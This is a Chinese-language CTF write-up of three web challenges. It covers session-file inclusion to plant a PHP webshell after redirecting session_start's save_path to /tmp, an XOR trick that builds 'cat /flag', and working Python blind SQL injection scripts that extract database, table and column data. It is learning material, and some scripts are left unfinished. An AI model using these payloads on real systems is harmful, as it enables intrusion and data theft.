第一题 :
题目为
我寻思是直接用文件包含读文件呢,整半天整不出来
看了wp后得知是用session写webshell,想起以前好像做过类似的
wp是这么说的:
首先我们要猜测session文件位置
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp 目录下无法找到 session,因此 session 应该在 /var/lib 目录下。但由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’); 的设置,无法包含 /var/lib 下的 session。
session_start 函数存在 options 数组参数,如果提供会覆盖 session 配置项,而其中包含了 save_path,可用来修改 session 保存位置。
因此思路是传入 session_start 函数修改存储位置。
尝试直接写到/tmp目录
http://xuenixiang.cn:32768/?function=session_start&save_path=/tmp
session_start的意思是初始化session
save_path=/tmp的意思是设置session存放路径为/tmp
然后我们测试下
写入session
包含访问自定义的session文件
http:// xuenixiang.cn:32768/?function=extract&file=/tmp/sess_text123
显示成功
然后我们写入webshell
然后访问文件传参即可
第二题
上来就是块表
点一下显示非法字符被过滤
看源代码
可以get型传参code
提示php黑魔法
上传数组报错试试
提示flag在/flag里,直接访问
还有一种方法,
写wp的师傅发现没有过滤字符,用异或构造cat /flag传参
第三题
提示说爬虫会访问什么,爬虫会访问robots
访问发现出来个目录,访问他
看起来是个sql注入
发现存在过滤,我们先模糊测试下
用bp发现过滤了好多,我们挑挑能用的
发现一顿报错,我裂开
发现可以用ascii绕过盲注
今天用脚本盲注
import requests
from string import printable
import time
url = 'http://xuenixiang.cn:25785/sd72CJl5ox6hOL9ZIukc3ADPB1HXKFyY.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Content-Type':'application/x-www-form-urlencoded'}
def dump_database():
j=1
t=1
result=''
while j<=10:
for i in printable:
if i!='%':
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'1 && ascii(substr(database(),{},10))=ascii("{}")'.format(j,i)})
time.sleep(1)
if 'guest' in r.text:
result=result+i
t=0
print('Database Name : {}'.format(result))
break
t+=1
if t ==2 :
# print('结束了')
break
j+=1
dump_database()
以为可能是平台有防护,不能访问过快
我就让他一秒一个请求
所以脚本跑的有点慢,等等就行
还有就是前面试的时候,hackbar不能正常回显
但是在对话框里就行,我郁闷半天我寻思语句错了呢
我也不知道为啥
出来的数据库名字叫easyweb
我受不了了,连接总超时
脚本在这
import requests
from string import printable
import binascii
url = 'http://xuenixiang.cn:20263/sd72CJl5ox6hOL9ZIukc3ADPB1HXKFyY.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Content-Type':'application/x-www-form-urlencoded'}
def dump_database():
j=1
t=1
result=''
while j<=10:
for i in printable:
if i!='%':
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'1 && ascii(substr(database(),{},10))=ascii("{}")'.format(j,i)})
if 'guest' in r.text:
result=result+i
t=0
print('Database Name : {}'.format(result))
break
t+=1
if t ==2 :
# print('结束了')
break
j+=1
def dump_tablenames():
for k in range(0,2):
result=''
t=1
for j in range(0,25):
for i in printable:
if i!='%':
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'1 && ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit {},1),{},1))=ascii("{}")'.format(k,j,i)},timeout=5)
if 'guest' in r.text:
result=result+i
t=0
break
if t ==2 :
print('Table Name {}: {}'.format(k,result))
break
t+=1
def dump_tableslength():
result=''
for j in range(0,5):
for i in range(40):
data={'id':'1 && length((select table_name from sys.schema_table_statistics where table_schema=database() limit {},1))={}'.format(j,i)}
r = requests.post(url,headers=headers,data=data)
if 'guest' in r.text:
result=i
print('Table {} Length : {}'.format(j,result))
break
payload = '''((SELECT 1,CONCAT({flag}, CAST("0" as JSON))) <= (SELECT * FROM `looKkkkk_h3r6` limit 1))'''
# payload = '''((SELECT 1,CONCAT({flag})) <= (SELECT * FROM `looKkkkk_h3r6` limit 1))'''
ASCIIAlphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}"
def dump_columns():
result=''
last_i = ''
for j in range(0,44):
for i in range(32,255):
t = result+str(chr(i))
t = '0x'+str(binascii.hexlify(t.encode()))[2:-1]
# print(t)
data={'id':'1 && '+payload.format(flag=t)}
r = requests.post(url,headers=headers,data=data)
if 'guest' not in r.text:
result += last_i
print('columns value : {}'.format(result))
# print((data['id']))
break
last_i=str(chr(i))
dump_database()
dump_tableslength()
dump_tablenames()
dump_columns()
我就懒得调了
还有一个方法是 (select 0,0) <= (select * from looKkkkk_h3r6 limit 1) ,先用0来判断存在多少列,两列的时候有了回显,所以 looKkkkk_h3r6 表中两个字段,先来判断下第一个字段的值,让第二列为’z’,这样 (select 0,‘z’) <= (select * from looKkkkk_h3r6 limit 1) 就可以比较第一列了
第一列为 0时有回显
第一列为 1时没有回显,所以第一列的值是1
第二列也是这样比较,但是MYSQL不区分大小写,一般用binary 转二进制来比较大小写,但这里过滤了in,也就用不了binary了
Mysql中转换类型的函数有cast和convert
翻一下官方文档,看有没有,类型转换除了字符串型,数字型,还有binary 和 json
再看看json,翻到字符串比较,大小写敏感 binary类型
(select 1,concat(0x414141,convert(0,json)) ) < (select * from looKkkkk_h3r6 limit 1)
意思就是盲猜列名和字段,然后看回显是否正常,学到了
但是我觉得我想不出来
总这样,我好烦,我就直接用wp的了
ubyt0KHOLan9Bh28Rm5e3JlDjwgTCPoI.php
然后又是个框,显示cmd,可能是命令执行
提示
echo “result:”.shell_exec(“echo “filter($str)” | ctf”);
这玩意不回显光过滤,这啥啊
wp是这样解的,我复现不出来算了,就这样吧
OK ,找到问题了,我说咋看不懂wp ,没有|这个符号,呢是个光标 …我裂开,我还寻思都过滤了他咋还能用呢…